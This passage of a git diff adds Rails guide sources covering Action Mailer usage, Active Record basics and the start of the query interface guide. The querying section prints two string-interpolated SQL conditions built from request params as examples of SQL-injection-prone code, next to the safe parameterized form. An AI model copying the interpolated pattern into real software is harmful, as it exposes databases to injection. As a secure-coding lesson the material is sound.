+So how does Action Mailer understand this +deliver_welcome_email+ call? If you read the documentation (http://api.rubyonrails.org/files/vendor/rails/actionmailer/README.html), you will find this in the "Sending Emails" section:
+
+You never instantiate your mailer class. Rather, your delivery instance methods are automatically wrapped in class methods that start with the word +deliver_+ followed by the name of the mailer method that you would like to deliver.
+
+So, how exactly does this work?
+
+Looking at the +ActionMailer::Base+ source, you will find this:
+
+<ruby>
+def method_missing(method_symbol, *parameters)#:nodoc:
+  case method_symbol.id2name
+    when /^create_([_a-z]\w*)/  then new($1, *parameters).mail
+    when /^deliver_([_a-z]\w*)/ then new($1, *parameters).deliver!
+    when "new" then nil
+    else super
+  end
+end
+</ruby>
+
+Hence, if the method name starts with +deliver_+ followed by any combination of lowercase letters or underscore, +method_missing+  calls +new+ on your mailer class (+UserMailer+ in our example above), sending the combination of lower case letters or underscore, along with the parameters. The resulting object is then sent the +deliver!+ method, which well... delivers it.
+
+h4. Complete List of Action Mailer User-Settable Attributes
+
+|bcc| The BCC addresses of the email|
+|body| The body of the email. This is either a hash (in which case it specifies the variables to pass to the template when it is rendered), or a string, in which case it specifies the actual body of the message|
+|cc| The CC addresses for the email|
+|charset| The charset to use for the email. This defaults to the +default_charset+ specified for ActionMailer::Base.|
+|content_type| The content type for the email. This defaults to "text/plain" but the filename may specify it|
+|from| The from address of the email|
+|reply_to| The address (if different than the "from" address) to direct replies to this email|
+|headers| Additional headers to be added to the email|
+|implicit_parts_order| The order in which parts should be sorted, based on the content type. This defaults to the value of +default_implicit_parts_order+|
+|mime_version| Defaults to "1.0", but may be explicitly given if needed|
+|recipient| The recipient addresses of the email, either as a string (for a single address) or an array of strings (for multiple addresses)|
+|sent_on| The timestamp on which the message was sent. If unset, the header will be set by the delivery agent|
+|subject| The subject of the email|
+|template| The template to use. This is the "base" template name, without the extension or directory, and may be used to have multiple mailer methods share the same template|
+
+h4. Mailer Views
+
+Mailer views are located in the +app/views/name_of_mailer_class+ directory. The specific mailer view is known to the class because it's name is the same as the mailer method. So for example, in our example from above, our mailer view for the +welcome_email+ method will be in +app/views/user_mailer/welcome_email.text.html.erb+ for the HTML version and +welcome_email.text.plain.erb+ for the plain text version.
+
+To change the default mailer view for your action you do something like:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients    user.email
+    from          "My Awesome Site Notifications<notifications@example.com>"
+    subject       "Welcome to My Awesome Site"
+    sent_on       Time.now
+    body          {:user => user, :url => "http://example.com/login"}
+    content_type  "text/html"
+    # use some_other_template.text.(html|plain).erb instead
+    template "some_other_template"
+end
+</ruby>
+
+h4. Action Mailer Layouts
+
+Just like controller views, you can also have mailer layouts. The layout name needs to end in "_mailer" to be automatically recognized by your mailer as a layout. So in our UserMailer example, we need to call our layout +user_mailer.text.(html|plain).erb+. In order to use a different file just use:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  layout 'awesome' # use awesome.text.(html|plain).erb as the layout
+end
+</ruby>
+
+Just like with controller views, use +yield+ to render the view inside the layout.
+
+h4. Generating URLs in Action Mailer Views
+
+URLs can be generated in mailer views using +url_for+ or named routes.
+Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the +:host+, +:controller+, and +:action+:
+
+<erb>
+<%= url_for(:host => "example.com", :controller => "welcome", :action => "greeting") %>
+</erb>
+
+When using named routes you only need to supply the +:host+:
+
+<erb>
+<%= users_url(:host => "example.com") %>
+</erb>
+
+Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, when using named routes only the "_url" variant makes sense.
+
+It is also possible to set a default host that will be used in all mailers by setting the +:host+ option in
+the +ActionMailer::Base.default_url_options+ hash as follows:
+
+<erb>
+ActionMailer::Base.default_url_options[:host] = "example.com"
+</erb>
+
+This can also be set as a configuration option in +config/environment.rb+:
+
+<erb>
+config.action_mailer.default_url_options = { :host => "example.com" }
+</erb>
+
+If you set a default +:host+ for your mailers you need to pass +:only_path => false+ to +url_for+. Otherwise it doesn't get included.
+
+h4. Sending Multipart Emails
+
+Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have +welcome_email.text.plain.erb+ and +welcome_email.text.html.erb+ in +app/views/user_mailer+, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.
+
+To explicitly specify multipart messages, you can do something like:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients      user.email_address
+    subject         "New account information"
+    from            "system@example.com"
+    content_type    "multipart/alternative"
+
+    part :content_type => "text/html",
+      :body => "<p>html content, can also be the name of an action that you call<p>"
+
+    part "text/plain" do |p|
+      p.body = "text content, can also be the name of an action that you call"
+    end
+  end
+end
+</ruby>
+
+h4. Sending Emails with Attachments
+
+Attachments can be added by using the +attachment+ method:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients      user.email_address
+    subject         "New account information"
+    from            "system@example.com"
+    content_type    "multipart/alternative"
+
+    attachment :content_type => "image/jpeg",
+      :body => File.read("an-image.jpg")
+
+    attachment "application/pdf" do |a|
+      a.body = generate_your_pdf_here()
+    end
+  end
+end
+</ruby>
+
+h4. Sending Multipart Emails with Attachments
+
+Once you use the +attachment+ method, ActionMailer will no longer automagically use the correct template based on the filename. You must declare which template you are using for each content type via the +part+ method.
+
+In the following example, there would be two template files, +welcome_email_html.erb+ and +welcome_email_plain.erb+ in the +app/views/user_mailer+ folder.
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def welcome_email(user)
+    recipients      user.email_address
+    subject         "New account information"
+    from            "system@example.com"
+    content_type    "multipart/alternative"
+
+    part "text/html" do |p|
+      p.body = render_message("welcome_email_html", :message => "<h1>HTML content</h1>")
+    end
+
+    part "text/plain" do |p|
+      p.body = render_message("welcome_email_plain", :message => "text content")
+    end
+
+    attachment :content_type => "image/jpeg",
+      :body => File.read("an-image.jpg")
+
+    attachment "application/pdf" do |a|
+      a.body = generate_your_pdf_here()
+    end
+  end
+end
+</ruby>
+
+h3. Receiving Emails
+
+Receiving and parsing emails with Action Mailer can be a rather complex endeavour. Before your email reaches your Rails app, you would have had to configure your system to somehow forward emails to your app, which needs to be listening for that. So, to receive emails in your Rails app you'll need:
+
+1. Implement a +receive+ method in your mailer.
+
+2. Configure your email server to forward emails from the address(es) you would like your app to receive to +/path/to/app/script/runner 'UserMailer.receive(STDIN.read)'+.
+
+Once a method called +receive+ is defined in any mailer, Action Mailer will parse the raw incoming email into an email object, decode it, instantiate a new mailer, and pass the email object to the mailer +receive+ instance method. Here's an example:
+
+<ruby>
+class UserMailer < ActionMailer::Base
+  def receive(email)
+    page = Page.find_by_address(email.to.first)
+    page.emails.create(
+      :subject => email.subject,
+      :body => email.body
+    )
+
+    if email.has_attachments?
+      for attachment in email.attachments
+        page.attachments.create({
+          :file => attachment,
+          :description => email.subject
+        })
+      end
+    end
+  end
+end
+</ruby>
+
+h3. Using Action Mailer Helpers
+
+Action Mailer classes have 4 helper methods available to them:
+
+|add_template_helper(helper_module)|Makes all the (instance) methods in the helper module available to templates rendered through this controller.|
+|helper(*args, &block)| Declare a helper: helper :foo requires 'foo_helper' and includes FooHelper in the template class.  helper FooHelper includes FooHelper in the template class.  helper { def foo() "#{bar} is the very best" end } evaluates the block in the template class, adding method foo.  helper(:three, BlindHelper) { def mice() 'mice' end } does all three. |
+|helper_method| Declare a controller method as a helper.  For example, helper_method :link_to def link_to(name, options) ... end makes the link_to controller method available in the view.|
+|helper_attr| Declare a controller attribute as a helper.  For example, helper_attr :name attr_accessor :name makes the name and name= controller methods available in the view.  The is a convenience wrapper for helper_method.|
+
+h3. Action Mailer Configuration
+
+The following configuration options are best made in one of the environment files (environment.rb, production.rb, etc...)
+
+|template_root|Determines the base from which template references will be made.|
+|logger|the logger is used for generating information on the mailing run if available. Can be set to nil for no logging. Compatible with both Ruby's own Logger and Log4r loggers.|
+|smtp_settings|Allows detailed configuration for :smtp delivery method: :address - Allows you to use a remote mail server. Just change it from its default "localhost" setting.  :port  - On the off chance that your mail server doesn't run on port 25, you can change it.  :domain - If you need to specify a HELO domain, you can do it here.  :user_name - If your mail server requires authentication, set the username in this setting.  :password - If your mail server requires authentication, set the password in this setting.  :authentication - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of :plain, :login, :cram_md5.|
+|sendmail_settings|Allows you to override options for the :sendmail delivery method.  :location - The location of the sendmail executable. Defaults to /usr/sbin/sendmail.  :arguments - The command line arguments. Defaults to -i -t.|
+|raise_delivery_errors|Whether or not errors should be raised if the email fails to be delivered.|
+|delivery_method|Defines a delivery method. Possible values are :smtp (default), :sendmail, and :test.|
+|perform_deliveries|Determines whether deliver_* methods are actually carried out. By default they are, but this can be turned off to help functional testing.|
+|deliveries|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
+|default_charset|The default charset used for the body and to encode the subject. Defaults to UTF-8. You can also  pick a different charset from inside a method with charset.|
+|default_content_type|The default content type used for the main part of the message. Defaults to "text/plain". You can also pick a different content type from inside a method with content_type.|
+|default_mime_version|The default mime version used for the message. Defaults to 1.0. You can also pick a different value from inside a method with mime_version.|
+|default_implicit_parts_order|When a message is built implicitly (i.e. multiple parts are assembled from templates which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to ["text/html", "text/enriched", "text/plain"]. Items that appear first in the array have higher priority in the mail client and appear last in the mime encoded message. You can also pick a different order from inside a method with implicit_parts_order.|
+
+
+h4. Example Action Mailer Configuration
+
+An example would be:
+
+<ruby>
+ActionMailer::Base.delivery_method = :sendmail
+ActionMailer::Base.sendmail_settings = {
+  :location => '/usr/sbin/sendmail',
+  :arguments => '-i -t'
+}
+ActionMailer::Base.perform_deliveries = true
+ActionMailer::Base.raise_delivery_errors = true
+ActionMailer::Base.default_charset = "iso-8859-1"
+</ruby>
+
+h4. Action Mailer Configuration for GMail
+
+Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html
+
+First you must install the +action_mailer_tls+ plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer.
+
+<ruby>
+ActionMailer::Base.smtp_settings = {
+  :address        => "smtp.gmail.com",
+  :port           => 587,
+  :domain         => "domain.com",
+  :user_name      => "user@domain.com",
+  :password       => "password",
+  :authentication => :plain
+}
+</ruby>
+
+h4. Configure Action Mailer to Recognize HAML Templates
+
+In +config/environment.rb+, add the following line:
+
+<ruby>
+ActionMailer::Base.register_template_extension('haml')
+</ruby>
+
+h3. Mailer Testing
+
+By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array.
+
+Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so:
+
+<ruby>
+class UserMailerTest < ActionMailer::TestCase
+  tests UserMailer
+
+  def test_welcome_email
+    user = users(:some_user_in_your_fixtures)
+
+    # Send the email, then test that it got queued
+    email = UserMailer.deliver_welcome_email(user)
+    assert !ActionMailer::Base.deliveries.empty?
+
+    # Test the body of the sent email contains what we expect it to
+    assert_equal [@user.email], email.to
+    assert_equal "Welcome to My Awesome Site", email.subject
+    assert_match /Welcome to example.com, #{user.first_name}/, email.body
+  end
+end
+</ruby>
+
+In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/25
diff --git a/vendor/rails/railties/guides/source/active_record_basics.textile b/vendor/rails/railties/guides/source/active_record_basics.textile
new file mode 100644
index 00000000..afff892f
--- /dev/null
+++ b/vendor/rails/railties/guides/source/active_record_basics.textile
@@ -0,0 +1,135 @@
+h2. Active Record Basics
+
+This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer.
+
+After reading this guide we hope that you'll be able to:
+
+* Understand the way Active Record fits into the MVC model.
+* Create basic Active Record models and map them with your database tables.
+* Use your models to execute CRUD (Create, Read, Update and Delete) database operations.
+* Follow the naming conventions used by Rails to make developing database applications easier and obvious.
+* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic.
+* Use Active Record with legacy databases that do not follow the Rails naming conventions.
+
+endprologue.
+
+h3. What's Active Record?
+
+Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way:
+
+* Each database table is mapped to a class.
+* Each table column is mapped to an attribute of this class.
+* Each instance of this class is mapped to a single row in the database table.
+
+The definition of the Active Record pattern in Martin Fowler's words:
+
+??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.??
+
+h3. Object Relational Mapping
+
+The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in.
+
+h3. ActiveRecord as an ORM Framework
+
+ActiveRecord gives us several mechanisms, being the most important ones the ability to:
+
+* Represent models.
+* Represent associations between these models.
+* Represent inheritance hierarchies through related models.
+* Validate models before they get recorded to the database.
+* Perform database operations in an object-oriented fashion.
+
+It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern.
+
+h3. Active Record Inside the MVC Model
+
+Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database.
+
+h3. Convention over Configuration in ActiveRecord
+
+When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason.
+
+h4. Naming Conventions
+
+By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples:
+
+* Database Table - Plural with underscores separating words i.e. (book_clubs)
+* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub)
+
+|_.Model / Class |_.Table / Schema |
+|Post          |posts|
+|LineItem      |line_items|
+|Deer          |deer|
+|Mouse         |mice|
+|Person        |people|
+
+
+h4. Schema Conventions
+
+ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns.
+
+* *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models.
+* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using "Rails Migrations":http://guides.rails.info/migrations.html to create your tables, this column will be automatically created.
+
+There are also some optional column names that will create additional features to ActiveRecord instances:
+
+* *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record.
+* *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record.
+* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model.
+* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html
+* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post.
+
+NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling.
+
+h3. Creating ActiveRecord Models
+
+It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go:
+
+<ruby>
+class Product < ActiveRecord::Base; end
+</ruby>
+
+This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like:
+
+<sql>
+CREATE TABLE products (
+   id int(11) NOT NULL auto_increment,
+   name varchar(255),
+   PRIMARY KEY  (id)
+);
+</sql>
+
+Following the table schema above, you would be able to write code like the following:
+
+<ruby>
+p = Product.new
+p.name = "Some Book"
+puts p.name # "Some Book"
+</ruby>
+
+h3. Overriding the Naming Conventions
+
+What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions.
+
+You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used:
+<ruby>
+class Product < ActiveRecord::Base
+  set_table_name "PRODUCT"
+end
+</ruby>
+
+It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that:
+<ruby>
+class Product < ActiveRecord::Base
+  set_primary_key "product_id"
+end
+</ruby>
+
+h3. Validations
+
+ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation.
+
+h3. Callbacks
+
+ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks.
+
diff --git a/vendor/rails/railties/guides/source/active_record_querying.textile b/vendor/rails/railties/guides/source/active_record_querying.textile
new file mode 100644
index 00000000..442521cb
--- /dev/null
+++ b/vendor/rails/railties/guides/source/active_record_querying.textile
@@ -0,0 +1,969 @@
+h2. Active Record Query Interface
+
+This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to:
+
+* Find records using a variety of methods and conditions
+* Specify the order, retrieved attributes, grouping, and other properties of the found records
+* Use eager loading to reduce the number of database queries needed for data retrieval
+* Use dynamic finders methods
+* Create named scopes to add custom finding behavior to your models
+* Check for the existence of particular records
+* Perform various calculations on Active Record models
+
+endprologue.
+
+If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+Code examples throughout this guide will refer to one or more of the following models:
+
+TIP: All of the following models uses +id+ as the primary key, unless specified otherwise.
+
+<br />
+
+<ruby>
+class Client < ActiveRecord::Base
+  has_one :address
+  has_one :mailing_address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end
+</ruby>
+
+<ruby>
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+</ruby>
+
+<ruby>
+class MailingAddress < Address
+end
+</ruby>
+
+<ruby>
+class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+</ruby>
+
+<ruby>
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+</ruby>
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.
+
+h3. Retrieving Objects from the Database
+
+To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL.
+
+Primary operation of <tt>Model.find(options)</tt> can be summarized as:
+
+* Convert the supplied options to an equivalent SQL query.
+* Fire the SQL query and retrieve the corresponding results from the database.
+* Instantiate the equivalent Ruby object of the appropriate model for every resulting row.
+* Run +after_find+ callbacks if any.
+
+h4. Retrieving a Single Object
+
+Active Record lets you retrieve a single object using three different ways.
+
+h5. Using a Primary Key
+
+Using <tt>Model.find(primary_key, options = nil)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example:
+
+<ruby>
+# Find the client with primary key (id) 10.
+client = Client.find(10)
+=> #<Client id: 10, name: => "Ryan">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id = 10)
+</sql>
+
+<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found.
+
+h5. +first+
+
+<tt>Model.first(options = nil)</tt> finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example:
+
+<ruby>
+client = Client.first
+=> #<Client id: 1, name: => "Lifo">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients LIMIT 1
+</sql>
+
+<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+
+
+h5. +last+
+
+<tt>Model.last(options = nil)</tt> finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example:
+
+<ruby>
+# Find the client with primary key (id) 10.
+client = Client.last
+=> #<Client id: 221, name: => "Russel">
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+</sql>
+
+<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+
+
+h4. Retrieving Multiple Objects
+
+h5. Using Multiple Primary Keys
+
+<tt>Model.find(array_of_primary_key, options = nil)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example:
+
+<ruby>
+# Find the clients with primary keys 1 and 10.
+client = Client.find(1, 10) # Or even Client.find([1, 10])
+=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">]
+</ruby>
+
+SQL equivalent of the above is:
+
+<sql>
+SELECT * FROM clients WHERE (clients.id IN (1,10))
+</sql>
+
+<tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys.
+
+h5. Find all
+
+<tt>Model.all(options = nil)</tt> finds all the records matching the supplied +options+. If no +options+ are supplied, all rows from the database are returned.
+
+<ruby>
+# Find all the clients.
+clients = Client.all
+=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">, #<Client id: 221, name: => "Russel">]
+</ruby>
+
+And the equivalent SQL is:
+
+<sql>
+SELECT * FROM clients
+</sql>
+
+<tt>Model.all</tt> returns an empty array +[]+ if no matching record is found. No exception will be raised.
+
+NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+
+
+h4. Retrieving Multiple Objects in Batches
+
+Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. 
+
+The following may seem very straight forward at first:
+
+<ruby>
+# Very inefficient when users table has thousands of rows.
+User.all.each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible.
+
+This is because +User.all+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory.
+
+h5. +find_each+
+
+To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+:
+
+<ruby>
+User.find_each do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Configuring the batch size*
+
+Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option.
+
+To fetch +User+ records in batch size of +5000+:
+
+<ruby>
+User.find_each(:batch_size => 5000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Starting batch find from a specific primary key*
+
+Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint.
+
+To send newsletters only to users with the primary key starting from +2000+:
+
+<ruby>
+User.find_each(:batch_size => 5000, :start => 2000) do |user|
+  NewsLetter.weekly_deliver(user)
+end
+</ruby>
+
+*Additional options*
+
++find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly.
+
+h5. +find_in_batches+
+
+You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead:
+
+<ruby>
+# Works in chunks of 1000 invoices at a time.
+Invoice.find_in_batches(:include => :invoice_lines) do |invoices|
+  export.add_invoices(invoices)
+end
+</ruby>
+
+The above will yield the supplied block with +1000+ invoices every time.
+
+h3. Conditions
+
+The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash.
+
+h4. Pure String Conditions
+
+If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+
+h4. Array Conditions
+
+Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+</ruby>
+
+Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element.
+
+Or if you want to specify two conditions, you can do it like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])
+</ruby>
+
+In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter.
+
+The reason for doing code like:
+
+<ruby>
+Client.first(:conditions => ["orders_count = ?", params[:orders]])
+</ruby>
+
+instead of:
+
+<ruby>
+Client.first(:conditions => "orders_count = #{params[:orders]}")
+</ruby>
+
+is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection.
+
+h5. Placeholder Conditions
+
+Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions:
+
+<ruby>
+Client.all(:conditions =>
+  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+</ruby>
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+h5. Range Conditions
+
+If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
+
+<ruby>
+Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date)..(params[:end_date].to_date)])
+</ruby>
+
+This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
+
+<sql>
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31'))
+</sql>
+
+h5. Time and Date Conditions
+
+Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range:
+
+<ruby>
+Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+</ruby>
+
+<sql>
+SELECT * FROM users WHERE (created_at IN
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ...
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+</sql>
+
+This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
+
+<shell>
+Got a packet bigger than 'max_allowed_packet' bytes: _query_
+</shell>
+
+Where _query_ is the actual query used to get that error.
+
+In this example it would be better to use greater-than and less-than operators in SQL, like so:
+
+<ruby>
+Client.all(:conditions =>
+  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+</ruby>
+
+You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
+
+<ruby>
+Client.all(:conditions =>
+  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+</ruby>
+
+Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":#hash-conditions section later on in the guide.
+
+h4. Hash Conditions
+
+Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:
+
+NOTE: Only equality, range and subset checking are possible with Hash conditions.
+
+h5. Equality Conditions
+
+<ruby>
+Client.all(:conditions => { :locked => true })
+</ruby>
+
+The field name does not have to be a symbol it can also be a string:
+
+<ruby>
+Client.all(:conditions => { 'locked' => true })
+</ruby>
+
+h5. Range Conditions
+
+The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
+
+<ruby>
